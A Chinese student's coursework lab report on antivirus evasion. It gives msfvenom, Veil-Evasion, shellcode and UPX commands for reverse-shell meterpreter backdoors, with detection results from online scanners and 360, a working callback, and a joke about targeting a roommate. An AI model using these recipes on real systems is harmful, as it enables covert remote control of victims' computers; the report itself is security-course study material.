Exp3免杀原理与实践 20164312 马孝涛

1.实验要求

  •   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
  •   1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
  • (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  •   1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2.实验过程

2.1正确使用msf编码器

实验2中生成的20164312_backdoor.exe就是用msfvenom生成的后门程序,直接拉到virstotal上检测一下:

Exp3免杀原理与实践 20164312 马孝涛

很惨,71个杀软有52个都检测出来了。

tips:我们用msf编码器对后门程序进行一次编码:-e:选择编码器,-i是迭代的次数,-b:是payload中需要去除的字符。因为shellcode以\x00为结束符,所以在-b后面要跟一个\x00

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=192.168.192.136 LPORT=4312 -f exe > 20164312_backdoor2.exe

Exp3免杀原理与实践 20164312 马孝涛

貌似情况好一点了,但是并没有什么大的改善。

2.2 msfvenom生成jar文件

在Linux中写入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x>20164312.jar

将生成的jar文件在virustotal上进行检测:

Exp3免杀原理与实践 20164312 马孝涛

通过率有一半了,感觉比之前的exe文件要好很多。

2.3 msfvenom生成php文件

在Linux中键入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x> 20164312.php

继续在virustotal上检测:

Exp3免杀原理与实践 20164312 马孝涛

emmm......这也太恐怖了吧,虽然不知道原理如何,但是实践告诉我php文件是免杀程度最好的。(细思极恐)

2.4 使用veil-evasion生成后门程序及检测

tips:Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软

在kali Linux中键入apt-get install veil-evasion进行安装(100多M,挺费时间的)

Exp3免杀原理与实践 20164312 马孝涛

安装成功之后,输入veil,再用use evasion命令进入Evil-Evasion界面:

输入命令use c/meterpreter/rev_tcp.py进入配置界面:

Exp3免杀原理与实践 20164312 马孝涛

设置反弹连接IP:set LHOST 192.168.181.136   设置端口:set LPORT 4312   输入generate生成文件,接着输入playload的名字::

Exp3免杀原理与实践 20164312 马孝涛

保存路径:/var/lib/veil/output/compiled/veil_c_4312.exe

Exp3免杀原理与实践 20164312 马孝涛

这次使用的是virscan检测,因为不知道为什么virustotal出什么毛病了。。。说没有引擎能检测出此文件。

Exp3免杀原理与实践 20164312 马孝涛

2.5 半手工注入Shellcode并执行

在Linux键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.136 LPORT=4312 -f c 用c语言生成一段shellcode。

Exp3免杀原理与实践 20164312 马孝涛

创建一个文件shellcode.c,然后将unsigned char buf[] 拷贝到其中:

Exp3免杀原理与实践 20164312 马孝涛

使用命令:i686-w64-mingw32-g++ shellcode.c -o shellcode.exe 编译这个shellcode.c文件为可执行文件:

Exp3免杀原理与实践 20164312 马孝涛

放到virscan上检测:

Exp3免杀原理与实践 20164312 马孝涛

拷贝到windows上用360软件查杀病毒:

Exp3免杀原理与实践 20164312 马孝涛

Exp3免杀原理与实践 20164312 马孝涛

tips:我的360是最新版的,emmm我也不知道为什么这么多木马只能查出来3个,难道说其他的对电脑没威胁?

2.6加压缩壳

在linux中键入upx shellcode.exe  -o 4312.upxed.exe 加个压缩壳,得到4312.upxed.exe:

Exp3免杀原理与实践 20164312 马孝涛

上传到virscan上检测:

Exp3免杀原理与实践 20164312 马孝涛

wc,这是什么骚操作,加了壳,反而被更多的杀软查出来了,太优秀了。

Exp3免杀原理与实践 20164312 马孝涛

呵呵,360依然查不出来。我又把病毒库更新了一下,这次终于能杀出来了,但是360感觉还是不太安全啊:

Exp3免杀原理与实践 20164312 马孝涛

3.通过组合应用各种技术实现恶意代码免杀

经过上面的一系列操作,我发现veil和c都比较容易实现免杀,但是更新了病毒库的360还是比较稳的,所以我将veil生成的后门程序加上壳以后再进行测试:

生成过程:

Exp3免杀原理与实践 20164312 马孝涛

查杀结果及360版本号:

Exp3免杀原理与实践 20164312 马孝涛

Exp3免杀原理与实践 20164312 马孝涛

发现我给veil再加个壳就可以达到免杀了,测试一下是否可以回弹:

Exp3免杀原理与实践 20164312 马孝涛

可以完成回弹,nice

Exp3免杀原理与实践 20164312 马孝涛

但是virscan上结果依然不容乐观。

我在veil中重新选了ruby格式的后门程序:

Exp3免杀原理与实践 20164312 马孝涛

有些改善,但还是无法实现彻底免杀,勉强维持生活。

发给室友进行免杀测试与回弹:

Exp3免杀原理与实践 20164312 马孝涛

Exp3免杀原理与实践 20164312 马孝涛

感觉学到了什么好办法~可以搞室友了。

4.实验总结

4.1.基础问题回答

  (1)杀软是如何检测出恶意代码的?

  1.基于特征码的检测

  2.启发式恶意软件检测

  3.基于行为的恶意软件检测

  (2)免杀是做什么?

  防止被杀毒软件检测出来

  (3)免杀的基本方法有哪些?

  1.改变特征码

  2.加壳

4.2.实践总结与体会

  经过这次自己动手制作软件来免杀,我深刻的体会到光有360是完全不够的,而且平时下载东西的时候不能觉得没被360查出来就是绝对安全的,应该在virscan这种网站上进行一次比较权威的杀毒检查,嗯,以后不能乱下东西了,奇怪的程序要及时删除,不能瞎点程序了。

4.3开启杀软能绝对防止电脑中恶意代码吗?

  事实证明并不能。

上一篇:SQL Server 服务器磁盘测试之SQLIO篇(一)


下一篇:SQL SERVER 2008数据库各版本功能对比